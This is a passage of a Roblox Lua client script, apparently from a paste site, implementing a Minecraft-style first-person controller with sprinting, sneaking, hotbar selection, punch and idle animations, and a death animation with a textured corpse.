  2415. end
  2416. end
  2417. if oldItemOnHand ~= itemOnHand then
  2418. changedItem = true
  2419. end
  2420. end
  2421.  
  2422. local pressedWTimes = 0
  2423. local sprintingNum = 0
  2424. local sprinting = false
  2425. Mouse.KeyDown:connect(function(key)
  2426. if sprinting == false then sprintingNum = 0 else sprintingNum = 1 end
  2427. if (key == "w" and sprinting == false and sneaking == 0) then
  2428. if pressedWTimes >= 1 or key == Enum.KeyCode.LeftControl then
  2429. sprinting = true
  2430. humanoid.WalkSpeed = humanoid.WalkSpeed * 1.5
  2431. pressedWTimes = 0
  2432. coroutine.resume(coroutine.create(function()
  2433. for i = 1, 24 do
  2434. camera.FieldOfView = camera.FieldOfView + ((24-i)/10)
  2435. RS:wait()
  2436. end
  2437. end))
  2438. end
  2439. pressedWTimes = pressedWTimes + 1
  2440. coroutine.resume(coroutine.create(function()
  2441. for i = 1, 9 do
  2442. if sprinting == true then break end
  2443. wait()
  2444. end
  2445. pressedWTimes = 0
  2446. end))
  2447. end
  2448. if key == "q" and sprinting == false then
  2449. sneaking = 1
  2450. humanoid.WalkSpeed = humanoid.WalkSpeed / 2
  2451. humanoid.HipHeight = humanoid.HipHeight - 0.35
  2452. rootJoint.C1 = CFrame.new(0, 0.325, 0) * CFrame.Angles(math.rad(sneaking*45), 0, 0)
  2453. lH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(-math.rad(sneaking*45), 0, 0)
  2454. rH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(math.rad(sneaking*45), 0, 0)
  2455. --print("Sneaking...")
  2456. end
  2457. if key == "e" then
  2458. if creativeInventoryGUI.Visible == true then
  2459. creativeInventoryGUI.Visible = false
  2460. elseif creativeInventoryGUI.Visible == false then
  2461. creativeInventoryGUI.Visible = true
  2462. end
  2463. end
  2464. if key == "1" or key == "2" or key == "3" or
  2465. key == "4" or key == "5" or key == "6" or
  2466. key == "7" or key == "8" or key == "9" then
  2467. selectedBlock = tonumber(key) - 1
  2468. oldItemOnHand = itemOnHand
  2469. itemOnHand = toolBar[tonumber(key)]
  2470. updateItemOnHand()
  2471. if hasItemOnHand == 0 and itemOnHand then hi = 1 end
  2472. if hasItemOnHand == 1 and itemOnHand == nil then hi = 1 end
  2473. end
  2474. --if (key == "0" or key == "1" or key == "2"
  2475. -- or key == "3" or key == "4" or key == "5"
  2476. -- or key == "6" or key == "7") and hasItemOnHand == 0 then hi = 1 end
  2477. selectLabel.Position = UDim2.new(0.5, -160 + ((selectedBlock)*40), 1, -105)
  2478. end)
  2479.  
  2480. local interrump = false
  2481. game:GetService('RunService'):BindToRenderStep('Camera', Enum.RenderPriority.Camera.Value, function()
  2482. if humanoid.Health < oldHP then
  2483. interrump = true
  2484. RS:wait()
  2485. interrump = false
  2486. for i = 1, 15 do
  2487. if interrump == true then interrump = false break end
  2488. camera.CFrame = camera.CFrame * CFrame.Angles(0, 0, -math.rad(15-i))
  2489. RS:wait()
  2490. end
  2491. end
  2492. end)
  2493.  
  2494. local changedPerspective = 0
  2495. Mouse.KeyUp:connect(function(key)
  2496. if sprinting == false then sprintingNum = 0 else sprintingNum = 1 end
  2497. if (key == "w" and sprinting == true and sneaking == 0) then
  2498. sprinting = false
  2499. humanoid.WalkSpeed = humanoid.WalkSpeed / 1.5
  2500. coroutine.resume(coroutine.create(function()
  2501. for i = 1, 24 do
  2502. camera.FieldOfView = camera.FieldOfView - ((24-i)/10)
  2503. RS:wait()
  2504. end
  2505. end))
  2506. end
  2507. if key == "q" and sprinting == false then
  2508. sneaking = 0
  2509. humanoid.WalkSpeed = humanoid.WalkSpeed * 2
  2510. humanoid.HipHeight = humanoid.HipHeight + 0.35
  2511. rootJoint.C1 = CFrame.new(0, 0.05, 0) * CFrame.Angles(0, 0, 0)
  2512. lH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2513. rH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2514. --print("Stopped sneaking...")
  2515. end
  2516. if key == "r" then
  2517. if changedPerspective == 0 then
  2518. changedPerspective = 1
  2519. camera.CFrame = camera.CFrame * CFrame.Angles(0, math.rad(180), 0)
  2520. elseif changedPerspective == 1 then
  2521. changedPerspective = 0
  2522. camera.CFrame = camera.CFrame * CFrame.Angles(0, math.rad(-180), 0)
  2523. end
  2524. end
  2525. end)
  2526.  
  2527. Mouse.TargetFilter = camera
  2528.  
  2529. local dead = false
  2530. local humOffset = CFrame.new(0, 0, 0)
  2531. local camHandY = 0
  2532. local camHandZ = 0
  2533. local cameraHandCFrame = CFrame.new(1.15, -1.35, -2) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(55), math.rad(20))
  2534. local bodyRot = CFrame.new(0, 0, 0)
  2535. local lastCamRot = camPart.Orientation
  2536. while RS:wait() do
  2537. hearts.Size = UDim2.new(0, SnapToGrid((humanoid.Health/humanoid.MaxHealth)*162, 8) + 2, 0, 18)
  2538. camCurrentZoom = ((CFrame.new(0, -1*sneaking, 0) * camera.CFrame).p - head.Position).magnitude
  2539. if itemOnHand ~= nil then
  2540. hasItemOnHand = 1
  2541. handItem.Transparency = itemOnHand.transparency
  2542. else
  2543. hasItemOnHand = 0
  2544. handItem.Transparency = 1
  2545. end
  2546. if humanoid.Health <= 0 and dead == false then
  2547. dead = true
  2548. local corpseCF = humRootPart.CFrame + Vector3.new(0, -2.925, 0)
  2549. local corpse = Instance.new("Part", workspace)
  2550. corpse.Name = "Dead Corpse"
  2551. corpse.Size = Vector3.new(3, 1, 3)
  2552. corpse.CFrame = corpseCF
  2553. corpse.Transparency = 1
  2554. corpse.CustomPhysicalProperties = PhysicalProperties.new(1, 1, 0, 1, 1)
  2555.  
  2556. local dHead = Instance.new("Part", corpse)
  2557. dHead.CanCollide = false
  2558. dHead.Material = "Fabric"
  2559.  
  2560. local dTorso = Instance.new("Part", corpse)
  2561. dTorso.CanCollide = false
  2562. dTorso.Material = "Fabric"
  2563.  
  2564. local dLArm = Instance.new("Part", corpse)
  2565. dLArm.CanCollide = false
  2566. dLArm.Material = "Fabric"
  2567.  
  2568. local dRArm = Instance.new("Part", corpse)
  2569. dRArm.CanCollide = false
  2570. dRArm.Material = "Fabric"
  2571.  
  2572. local dLLeg = Instance.new("Part", corpse)
  2573. dLLeg.CanCollide = false
  2574. dLLeg.Material = "Fabric"
  2575.  
  2576. local dRLeg = Instance.new("Part", corpse)
  2577. dRLeg.CanCollide = false
  2578. dRLeg.Material = "Fabric"
  2579.  
  2580. dHead.Size = Vector3.new(1.3, 1.3, 1.3)
  2581. putTexture(dHead, "rbxassetid://38738031", "rbxassetid://36047330",
  2582. "rbxassetid://36047341", "rbxassetid://36047347",
  2583. "rbxassetid://36047323", "rbxassetid://36047315", "Decal")
  2584.  
  2585. dTorso.Size = Vector3.new(1.3, 1.95, 0.65)
  2586. putTexture(dTorso, "rbxassetid://38934753", "rbxassetid://38934731",
  2587. "rbxassetid://38934780", "rbxassetid://38934740",
  2588. "rbxassetid://38934762", "rbxassetid://38934762", "Decal")
  2589.  
  2590. dLArm.Size = Vector3.new(0.65, 1.95, 0.65)
  2591. putTexture(dLArm, "rbxassetid://38934581", "rbxassetid://38934560",
  2592. "rbxassetid://38934613", "rbxassetid://38934568",
  2593. "rbxassetid://38934601", "rbxassetid://38934591", "Decal")
  2594.  
  2595. dRArm.Size = Vector3.new(0.65, 1.95, 0.65)
  2596. putTexture(dRArm, "rbxassetid://38934560", "rbxassetid://38934581",
  2597. "rbxassetid://38934613", "rbxassetid://38934568",
  2598. "rbxassetid://38934601", "rbxassetid://38934591", "Decal")
  2599.  
  2600. dLLeg.Size = Vector3.new(0.65, 1.95, 0.65)
  2601. putTexture(dLLeg, "rbxassetid://38936226", "rbxassetid://38936209",
  2602. "rbxassetid://38934719", "rbxassetid://38934712",
  2603. "rbxassetid://38936255", "rbxassetid://38936242", "Decal")
  2604.  
  2605. dRLeg.Size = Vector3.new(0.65, 1.95, 0.65)
  2606. putTexture(dRLeg, "rbxassetid://38936209", "rbxassetid://38936226",
  2607. "rbxassetid://38934719", "rbxassetid://38934712",
  2608. "rbxassetid://38936242", "rbxassetid://38936255", "Decal")
  2609.  
  2610. local weldCorpse = weldTo(dTorso, corpse)
  2611. weldCorpse.C0 = CFrame.new(0, -1.95 - 0.4, 0)
  2612.  
  2613. -- lazy naming...
  2614.  
  2615. local weld1 = weldTo(dTorso, dHead)
  2616. weld1.C0 = CFrame.new(0, 1.625, 0)
  2617.  
  2618. local weld2 = weldTo(dTorso, dLArm)
  2619. weld2.C0 = CFrame.new(0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2620. weld2.C1 = CFrame.new(-0.65, 0.975, 0)
  2621.  
  2622. local weld3 = weldTo(dTorso, dRArm)
  2623. weld3.C0 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2624. weld3.C1 = CFrame.new(-0.65, 0.975, 0) * CFrame.Angles(0, -math.rad(180), 0)
  2625.  
  2626. local weld4 = weldTo(dTorso, dLLeg)
  2627. weld4.C0 = CFrame.new(0, -0.975, 0)
  2628. weld4.C1 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2629.  
  2630. local weld5 = weldTo(dTorso, dRLeg)
  2631. weld5.C0 = CFrame.new(0, -0.975, 0)
  2632. weld5.C1 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, -math.rad(180), 0)
  2633.  
  2634. for _,p in pairs(corpse:GetChildren()) do
  2635. if p.ClassName == "Part" then
  2636. local hit = Instance.new("Part", p)
  2637. hit.Name = "DamagePart"
  2638. hit.BrickColor = BrickColor.new("Bright red")
  2639. hit.Material = "SmoothPlastic"
  2640. hit.Transparency = 0.5
  2641. hit.Size = Vector3.new(p.Size.X + 0.05, p.Size.Y + 0.05, p.Size.Z + 0.05)
  2642. hit.CanCollide = false
  2643. weldTo(hit, p)
  2644. end
  2645. end
  2646.  
  2647. head.Parent = nil
  2648. torso.Parent = nil
  2649. lArm.Parent = nil
  2650. rArm.Parent = nil
  2651. lLeg.Parent = nil
  2652. rLeg.Parent = nil
  2653.  
  2654. weldTo(dTorso, humRootPart)
  2655.  
  2656. coroutine.resume(coroutine.create(function()
  2657. for i = 1, 55 do
  2658. corpse.CFrame = corpseCF --*
  2659. --CFrame.Angles(math.rad(-corpse.Orientation.X), 0, math.rad(-corpse.Orientation.Z))
  2660.  
  2661. weldCorpse.C1 = weldCorpse.C1:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, math.rad(90)), 0.075)
  2662. RS:wait()
  2663. end
  2664. for _,p in pairs(corpse:GetChildren()) do
  2665. p:Destroy()
  2666. end
  2667.  
  2668. corpse.Anchored = true
  2669.  
  2670. local smoke = Instance.new("ParticleEmitter", corpse)
  2671. smoke.Size = NumberSequence.new({
  2672. NumberSequenceKeypoint.new(0, 0.6),
  2673. NumberSequenceKeypoint.new(1, 0.6)
  2674. })
  2675. smoke.Texture = "rbxassetid://1494734425"
  2676. smoke.Rate = 100
  2677. smoke.Lifetime = NumberRange.new(0.6, 1.2)
  2678. smoke.Speed = NumberRange.new(2, 5)
  2679. smoke.SpreadAngle = Vector2.new(-30, 30)
  2680.  
  2681. wait(0.07)
  2682.  
  2683. smoke.Enabled = false
  2684.  
  2685. wait(2)
  2686.  
  2687. corpse:Destroy()
  2688. end))
  2689. print("You died!")
  2690. end
  2691. if humanoid.Health < oldHP then
  2692. damageTime = 60
  2693. sound:Play()
  2694. end
  2695. oldHP = humanoid.Health
  2696. if damageTime > 0 and humanoid.Health > 0 then
  2697. for _,p in pairs(char:GetChildren()) do
  2698. if p.Name ~= "HumanoidRootPart" and p.ClassName == "Part" then
  2699. if p.Name == "DamagePart" then
  2700. p.Transparency = 0.5
  2701. end
  2702. end
  2703. end
  2704. damageTime = damageTime - 2
  2705. if damageTime <= 0 then
  2706. for _,p in pairs(char:GetChildren()) do
  2707. if p.Name ~= "HumanoidRootPart" and p.ClassName == "Part" then
  2708. if p.Name == "DamagePart" then
  2709. p.Transparency = 1
  2710. end
  2711. end
  2712. end
  2713. end
  2714. end
  2715. camPart.CFrame = camera.CFrame * CFrame.Angles(0, math.rad(changedPerspective*180), 0)
  2716.  
  2717. if getMagnitudeXZ(torso.Velocity) > 1 then
  2718. if walkAnim >= 1 then
  2719. increaseWalkAnim = -1
  2720. elseif walkAnim <= -1 then
  2721. increaseWalkAnim = 1
  2722. end
  2723. walkAnim = walkAnim + (increaseWalkAnim/(10+(sneaking*20))) * ((5 + getMagnitudeXZ(torso.Velocity))/20)
  2724. else
  2725. walkAnim = 0
  2726. end
  2727.  
  2728. --lH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(-math.rad(sneaking*45), 0, 0)
  2729. --rH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(math.rad(sneaking*45), 0, 0)
  2730. lH.C0 = lH.C0:lerp(CFrame.new(0, 0.975, 0) * CFrame.Angles(math.max(math.rad(-60), math.min(math.rad(60), -math.rad(sneaking*45) + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)))), 0, 0), 0.15)
  2731. rH.C0 = rH.C0:lerp(CFrame.new(0, 0.975, 0) * CFrame.Angles(math.max(math.rad(-60), math.min(math.rad(60), math.rad(sneaking*45) + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)))), 0, 0), 0.15)
  2732. --
  2733. --rootJoint.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)
  2734. --print(math.abs(head.Orientation.Y) - math.abs(humRootPart.Orientation.Y))
  2735. --if (head.Orientation.Y * 2) - (head.Orientation.Y + torso.Orientation.Y) > 45 then
  2736. --humRootPart.CFrame = humRootPart.CFrame * CFrame.Angles(0, math.rad(-45 + head.Orientation.Y), 0)
  2737. --print("-45")
  2738. --end
  2739. --if (head.Orientation.Y * 2) - (head.Orientation.Y + torso.Orientation.Y) < -45 then
  2740. --humRootPart.CFrame = humRootPart.CFrame * CFrame.Angles(0, math.rad(45 + head.Orientation.Y), 0)
  2741. --print("45")
  2742. --end
  2743.  
  2744. if changedItem then
  2745. changedItem = false
  2746. coroutine.resume(coroutine.create(function()
  2747. for i = 1, 8 do
  2748. camHandY = camHandY - 0.2
  2749. RS:wait()
  2750. end
  2751. for i = 1, 8 do
  2752. camHandY = camHandY + 0.2
  2753. RS:wait()
  2754. end
  2755. end))
  2756. end
  2757.  
  2758. --move these arms
  2759. rootJoint.C1 = rootJoint.C1:lerp(CFrame.new(0, 0.325, 0) * CFrame.Angles(math.rad(sneaking*45), math.rad(punchRotY), 0), 0.2)
  2760.  
  2761. lS.C0 = lS.C0:lerp(CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(math.max(math.rad(-60), math.min(math.rad(60), idleAnimRotX/20 + math.rad(-hasItemOnHand*10) + math.rad(punchRotX) + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)))), 0, math.rad(punchRotZ) + idleAnimRotZ/20), 0.025+(math.min(1, getMagnitudeXZ(torso.Velocity))/12)*2 + divide(punchSpeed, 6) + hi)
  2762. rS.C0 = rS.C0:lerp(CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(math.max(math.rad(-60), math.min(math.rad(60), idleAnimRotX/20 + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)))), 0, idleAnimRotZ/20), 0.025+(math.min(1, getMagnitudeXZ(torso.Velocity))/12)*2)
  2763.  
  2764. if Mouse.Target and getDistance(head.CFrame.p, Mouse.Hit.p) <= 10.4 then
  2765. if Mouse.Target.Parent:FindFirstChild("Humanoid") == nil and Mouse.Target.Parent ~= camera then
  2766. selectBox.Adornee = Mouse.Target
  2767. else
  2768. selectBox.Adornee = nil
  2769. end
  2770. else
  2771. selectBox.Adornee = nil
  2772. end
  2773.  
  2774. --local neckYRot = math.rad(camPart.Orientation.Y - torso.Orientation.Y)
  2775.  
  2776. --neck.C1 = CFrame.new(0, 0.975, 0) * CFrame.fromEulerAnglesXYZ(math.rad(sneaking*45), neckYRot, 0)
  2777. --neck.C0 = CFrame.new(0, -0.65, 0) * CFrame.Angles(-math.rad(camPart.Orientation.X - torso.Orientation.X - (sneaking*45)), 0, 0)
  2778.  
  2779. --print(AngleDifference(camPart.Orientation, torso.Orientation).Y)
  2780.  
  2781. local negate = 1
  2782. if torso.Velocity.Y < 0 then
  2783. negate = -1
  2784. end
  2785.  
  2786. --local vel = math.log(math.abs(torso.Velocity.Y))*negate
  2787. --if vel == math.huge or vel == -math.huge then vel = 0.1 end
  2788. --local vel = torso.Velocity.Y^0.6
  2789.  
  2790. local BobbingY = walkAnim*2
  2791. if BobbingY >= 1 then BobbingY = 1 BobbingY = -BobbingY end
  2792.  
  2793. local rotationSpeed = AngleDifference(camPart.Orientation, lastCamRot)
  2794.  
  2795. local BobbingX = -0.5 + walkAnim
  2796.  
  2797. --cameraHandCFrame = cameraHandCFrame:lerp(CFrame.new(1.15*1.3 + (walkAnim/2 - (walkAnim/4)), -1.35*1.3 + camHandY + (-BobbingY/8) + 0, -0.45 + -camHandZ + ((camera.FieldOfView/45)-1.6)*1.3) * CFrame.Angles(math.rad(punchRotXcam), math.rad(punchRotYcam), math.rad(punchRotZcam)) * CFrame.new(0, 0, -1.75) * CFrame.fromEulerAnglesXYZ(math.rad(85), math.rad(55), math.rad(22.5)), 0.25)
  2798. cameraHandCFrame = cameraHandCFrame:lerp(CFrame.Angles(math.rad(rotationSpeed.X/1.5), math.rad(rotationSpeed.Y/1.5), math.rad(rotationSpeed.Z/1.5)) * CFrame.new(1.15*1.3 + (BobbingX/3.5), -1.35*1.3 + camHandY + ((0.4-BobbingY)/7) + 0, -0.45 + -camHandZ + ((camera.FieldOfView/45)-1.6)*1.3) * CFrame.Angles(math.rad(punchRotXcam), math.rad(punchRotYcam), math.rad(punchRotZcam)) * CFrame.new(0, 0, -1.75) * CFrame.fromEulerAnglesXYZ(math.rad(85), math.rad(55), math.rad(22.5)), 0.25)
  2799.  
  2800. humOffset = humOffset:lerp(CFrame.new(walkAnim/4 - (walkAnim/8), BobbingY/13, 0), 0.25)
  2801. humanoid.CameraOffset = Vector3.new(humOffset.X, humOffset.Y, 0)
  2802.  
  2803. cameraHand.CFrame = camPart.CFrame * cameraHandCFrame
  2804.  
  2805. cameraHandItem.CFrame = cameraHand.CFrame * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-210), math.rad(-40), math.rad(-100)) * CFrame.new(0, -0.35, 0)
  2806.  
  2807. if camCurrentZoom >= 1.5 then
  2808. cameraHand.Transparency = 1
  2809. for _,t in pairs(cameraHand:GetChildren()) do
  2810. if t.Transparency == 0 then
  2811. t.Transparency = 1
  2812. end
  2813. end
  2814. for _,t in pairs(cameraHandItem:GetChildren()) do
  2815. if t.Transparency == 0 then
  2816. t.Transparency = 1
  2817. end
  2818. end
  2819. else
  2820. changedPerspective = 0
  2821. cameraHand.Transparency = hasItemOnHand
  2822. for _,t in pairs(cameraHand:GetChildren()) do
  2823. if t.Transparency == 1 then
  2824. t.Transparency = hasItemOnHand
  2825. end
  2826. end
  2827. for _,t in pairs(cameraHandItem:GetChildren()) do
  2828. if t.Transparency == 1 then
  2829. t.Transparency = 0
  2830. end
  2831. end
  2832. end
  2833.  
  2834. if updateHand == true then
  2835. updateHand = false
  2836. updateItemOnHand()
  2837. end
  2838.  
  2839. if punching == 1 and punchEnded == 1 then
  2840. punching = 0
  2841. --print("steve uses punch!!")
  2842. local coPunchCam = coroutine.wrap(function()
  2843. local mult = 2.25
  2844. punchRotXcam = 40/2*mult
  2845. punchRotYcam = 25/2*mult
  2846. camHandZ = 2.5
  2847. wait(0.075/4)
  2848. punchRotXcam = 50/2*mult
  2849. punchRotYcam = 25*mult
  2850. punchRotZcam = -10*mult
  2851. camHandZ = 1
  2852. wait(0.075/4)
  2853. punchRotYcam = 50/1.5*mult
  2854. punchRotXcam = -10*mult
  2855. --wait(0.075/2)
  2856. --punchRotYcam = 50
  2857. --punchRotXcam = -10
  2858. wait(0.02)
  2859. punchRotXcam = -20*mult
  2860. wait(0.055)
  2861. camHandZ = 0
  2862. punchRotXcam = 0
  2863. punchRotYcam = 0
  2864. punchRotZcam = 0
  2865. end)
  2866. local coPunch = coroutine.wrap(function()
  2867. punchEnded = 0
  2868. punchSpeed = 1
  2869. punchRotX = -60
  2870. punchRotY = -8
  2871. punchRotZ = -35
  2872.  
  2873. wait(0.075/1.3)
  2874. punchSpeed = 1
  2875. punchRotX = -75
  2876. punchRotY = 8
  2877. punchRotZ = 40
  2878. wait(0.075/1.3)
  2879. punchSpeed = 1
  2880. punchRotX = -20
  2881. punchRotZ = 40
  2882. wait(0.075/1.3)
  2883. punchSpeed = 3.5
  2884. punchRotX = 0
  2885. punchRotY = 0
  2886. punchRotZ = 0
  2887.  
  2888. punchRotXcam = 0
  2889. punchRotYcam = 0
  2890. punchRotZcam = 0
  2891.  
  2892. punchEnded = 1
  2893. wait(0.06/1.3)
  2894. punchSpeed = 0
  2895. end)
  2896. coPunch()
  2897. coPunchCam()
  2898. end
  2899. if ticks > 20 then
  2900. ticks = 0
  2901. if times == 0 then
  2902. times = times + 1
  2903. idleAnimRotX = -1
  2904. idleAnimRotZ = 0
  2905. elseif times == 1 then
  2906. times = times + 1
  2907. idleAnimRotX = -0.75
  2908. idleAnimRotZ = -0.75
  2909. elseif times == 2 then
  2910. times = times + 1
  2911. idleAnimRotX = 0
  2912. idleAnimRotZ = -1
  2913. elseif times == 3 then
  2914. times = times + 1
  2915. idleAnimRotX = 0.75
  2916. idleAnimRotZ = -0.75
  2917. --idleAnimRotX = 0.75
  2918. --idleAnimRotZ = -0
  2919. elseif times == 4 then
  2920. times = times + 1
  2921. idleAnimRotX = 1
  2922. idleAnimRotZ = 0
  2923. --idleAnimRotX = 1
  2924. --idleAnimRotZ = 0
  2925. elseif times == 5 then
  2926. times = times + 1
  2927. idleAnimRotX = 0.75
  2928. idleAnimRotZ = 0.75
  2929. elseif times == 6 then
  2930. times = times + 1
  2931. idleAnimRotX = 0
  2932. idleAnimRotZ = 1
  2933. elseif times == 7 then
  2934. times = 0
  2935. idleAnimRotX = -0.75
  2936. idleAnimRotZ = 0.75
  2937. end
  2938. end
  2939.  
  2940. if hi == 1 then hi = 0 end
  2941.  
  2942. local rotX = math.deg(math.atan2(humanoid.MoveDirection.Z, humanoid.MoveDirection.X)) + 90
  2943. if humanoid.MoveDirection ~= Vector3.new(0, 0, 0) then
  2944. --print(rotX)
  2945. bodyRot = bodyRot:lerp(CFrame.Angles(0, -math.rad(rotX), 0), 0.125)
  2946. humRootPart.CFrame = CFrame.new(humRootPart.CFrame.p.X, humRootPart.CFrame.p.Y, humRootPart.CFrame.p.Z) * bodyRot
  2947. end
  2948. local neckYRot = math.rad(camPart.Orientation.Y - torso.Orientation.Y)
  2949. neck.C1 = CFrame.new(0, 0.975, 0) * CFrame.fromEulerAnglesXYZ(math.rad(sneaking*45), neckYRot, 0)
  2950. neck.C0 = CFrame.new(0, -0.65, 0) * CFrame.Angles(-math.rad(camPart.Orientation.X - torso.Orientation.X - (sneaking*45)), 0, 0)
  2951.  
  2952. local oldTorsoOrientation = torso.Orientation
  2953. if AngleDifference(camPart.Orientation, torso.Orientation).Y > 45 then
  2954. humRootPart.CFrame = CFrame.new(humRootPart.CFrame.p.X, humRootPart.CFrame.p.Y, humRootPart.CFrame.p.Z) * CFrame.Angles(0, math.rad(head.Orientation.Y + 45), 0)
  2955. bodyRot = CFrame.Angles(0, math.rad(head.Orientation.Y + 45), 0)
  2956. --print("-45")
  2957. elseif AngleDifference(camPart.Orientation, torso.Orientation).Y < -45 then
  2958. humRootPart.CFrame = CFrame.new(humRootPart.CFrame.p.X, humRootPart.CFrame.p.Y, humRootPart.CFrame.p.Z) * CFrame.Angles(0, math.rad(head.Orientation.Y - 45), 0)
  2959. bodyRot = CFrame.Angles(0, math.rad(head.Orientation.Y - 45), 0)
  2960. --print("45")
  2961. end
  2962.  
  2963. lastCamRot = camPart.Orientation
  2964. neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(0, -math.rad(AngleDifference(oldTorsoOrientation, torso.Orientation).Y), 0)
  2965. ticks = ticks + 1
  2966. end
  2967. end
  2968. end
Add Comment
Please, Sign In to add comment